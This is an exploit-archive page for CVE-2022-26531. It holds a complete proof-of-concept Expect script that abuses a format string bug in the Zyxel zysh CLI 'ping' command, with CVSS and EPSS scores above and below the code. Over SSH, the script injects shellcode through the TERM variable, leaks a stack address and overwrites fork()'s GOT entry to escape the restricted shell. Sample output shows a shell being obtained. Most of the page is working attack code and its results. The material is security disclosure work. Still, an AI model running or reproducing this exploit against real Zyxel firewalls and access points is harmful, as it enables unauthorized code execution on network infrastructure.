Lucene search

K
zdtMarco Ivaldi1337DAY-ID-39314
HistoryFeb 11, 2024 - 12:00 a.m.

Zyxel zysh - Format string Exploit

2024-02-1100:00:00
Marco Ivaldi
0day.today
139
zyxel
zysh
format string
exploit
input validation
cli commands
firmware
buffer overflow
system crash
authenticated attacker
payload

4.6 Medium

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:P/A:P

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.5 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

5.1%

Proof of concept format string exploit for Zyxel zysh. Multiple improper input validation flaws were identified in some CLI commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71, USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware versions 4.32 through 5.21, VPN series firmware versions 4.30 through 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500 firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2) and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and earlier versions, that could allow a local authenticated attacker to cause a buffer overflow or a system crash via a crafted payload.

#!/usr/bin/expect -f

#
# raptor_zysh_fhtagn.exp - zysh format string PoC exploit
# Copyright (c) 2022 Marco Ivaldi <[email protected]>
#
# "We live on a placid island of ignorance in the midst of black seas of
# infinity, and it was not meant that we should voyage far."
#                                -- H. P. Lovecraft, The Call of Cthulhu
#
# "Multiple improper input validation flaws were identified in some CLI
# commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71,
# USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware
# versions 4.32 through 5.21, VPN series firmware versions 4.30 through
# 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500
# firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware
# version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version
# 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2)
# and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and
# earlier versions, that could allow a local authenticated attacker to
# cause a buffer overflow or a system crash via a crafted payload."
#                                -- CVE-2022-26531
#
# The zysh binary is a restricted shell that implements the command-line
# interface (CLI) on multiple Zyxel products. This proof-of-concept exploit
# demonstrates how to leverage the format string bugs I have identified in
# the "extension" argument of some zysh commands, to execute arbitrary code
# and escape the restricted shell environment.
#
# - This exploit targets the "ping" zysh command.
# - It overwrites the .got entry of fork() with the shellcode address.
# - The shellcode address is calculated based on a leaked stack address.
# - Hardcoded offsets and values might need some tweaking, see comments.
# - Automation/weaponization for other targets is left as an exercise.
#
# For additional details on my bug hunting journey and on the
# vulnerabilities themselves, you can refer to the official advisory:
# https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt
#
# Usage:
# raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password
# raptor_zysh_fhtagn.exp - zysh format string PoC exploit
# Copyright (c) 2022 Marco Ivaldi <[email protected]>
# 
# Leaked stack address:  0x7fe97170
# Shellcode address:     0x7fe9de40
# Base string length:    46
# Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn
# 
# *** enjoy your shell! ***
# 
# sh-5.1$ uname -snrmp
# Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0
# sh-5.1$ id
# uid=10007(admin) gid=10000(operator) groups=10000(operator)
#
# Tested on:
# Zyxel USG20-VPN with Firmware 5.10 
# [other appliances/versions are also likely vulnerable]
#

# change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8
encoding system iso8859-1

# hostile format string to leak stack address via direct parameter access
set offset1 77
set leak [format "AAAA.0x%%%d\$x" $offset1]

# offsets to reach addresses in retloc sled via direct parameter access
set offset2 1801
set offset3 [expr $offset2 + 1]

# difference between leaked stack address and shellcode address
set diff 27856

# retloc sled
# $ mips64-linux-readelf -a zysh | grep JUMP | grep fork
# 112dd558  0000967f R_MIPS_JUMP_SLOT  00000000   fork@GLIBC_2.0
# ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2]
set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a" 1024]

# nop sled
# nop-equivalent instruction: xor $t0, $t0, $t0
set nops [string repeat "\x01\x8c\x60\x26" 64]

# shellcode
# https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c
set sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c"

# padding to align payload in memory (might need adjusting)
set padding "AAA"

# print header
send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n"
send_user "Copyright (c) 2022 Marco Ivaldi <[email protected]>\n\n"

# check command line
if { [llength $argv] != 3} {
	send_error "usage: ./raptor_zysh_fhtagn.exp <host> <user> <pass>\n"
	exit 1
}

# get SSH connection parameters
set port "22"
set host [lindex $argv 0]
set user [lindex $argv 1]
set pass [lindex $argv 2]

# inject payload via the TERM environment variable
set env(TERM) $retloc$nops$sc$padding

# connect to target via SSH
log_user 0
spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user
expect {
	-nocase "password*" {
		send "$pass\r"
	}
	default {
		send_error "error: could not connect to ssh\n"
		exit 1
	}
}

# leak stack address
expect {
	"Router? $" {
		send "ping 127.0.0.1 extension $leak\r"
	}
	default {
		send_error "error: could not access zysh prompt\n"
		exit 1
	}
}
expect {
	-re "ping: unknown host AAAA\.(0x.*)\r\n" {
	}
	default {
		send_error "error: could not leak stack address\n"
		exit 1
	}
}
set leaked $expect_out(1,string)
send_user "Leaked stack address:\t$leaked\n"

# calculate shellcode address
set retval [expr $leaked + $diff]
set retval [format 0x%x $retval]
send_user "Shellcode address:\t$retval\n"

# extract each byte of shellcode address
set b1 [expr ($retval & 0xff000000) >> 24]
set b2 [expr ($retval & 0x00ff0000) >> 16]
set b3 [expr ($retval & 0x0000ff00) >> 8]
set b4 [expr ($retval & 0x000000ff)]
set b1 [format 0x%x $b1]
set b2 [format 0x%x $b2]
set b3 [format 0x%x $b3]
set b4 [format 0x%x $b4]

# calculate numeric arguments for the hostile format string
set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3  "]
send_user "Base string length:\t$base\n"
set n1 [expr ($b4 - $base) % 0x100]
set n2 [expr ($b2 - $b4) % 0x100]
set n3 [expr ($b1 - $b2) % 0x100]
set n4 [expr ($b3 - $b1) % 0x100]

# check for dangerous numeric arguments below 10
if {$n1 < 10} { incr n1 0x100 }
if {$n2 < 10} { incr n2 0x100 }
if {$n3 < 10} { incr n3 0x100 }
if {$n4 < 10} { incr n4 0x100 }

# craft the hostile format string
set exploit [format "%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4]
send_user "Hostile format string:\t$exploit\n\n"

# uncomment to debug
# interact +

# exploit target
set prompt "(#|\\\$) $"
expect {
	"Router? $" {
		send "ping 127.0.0.1 extension $exploit\r"
	}
	default {
		send_error "error: could not access zysh prompt\n"
		exit 1
	}
}
expect {
	"Router? $" {
		send_error "error: could not exploit target\n"
		exit 1
	}
	-re $prompt {
		send_user "*** enjoy your shell! ***\n"
		send "\r"
		interact
	}
	default {
		send_error "error: could not exploit target\n"
		exit 1
	}
}

4.6 Medium

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:P/A:P

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

7.5 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

5.1%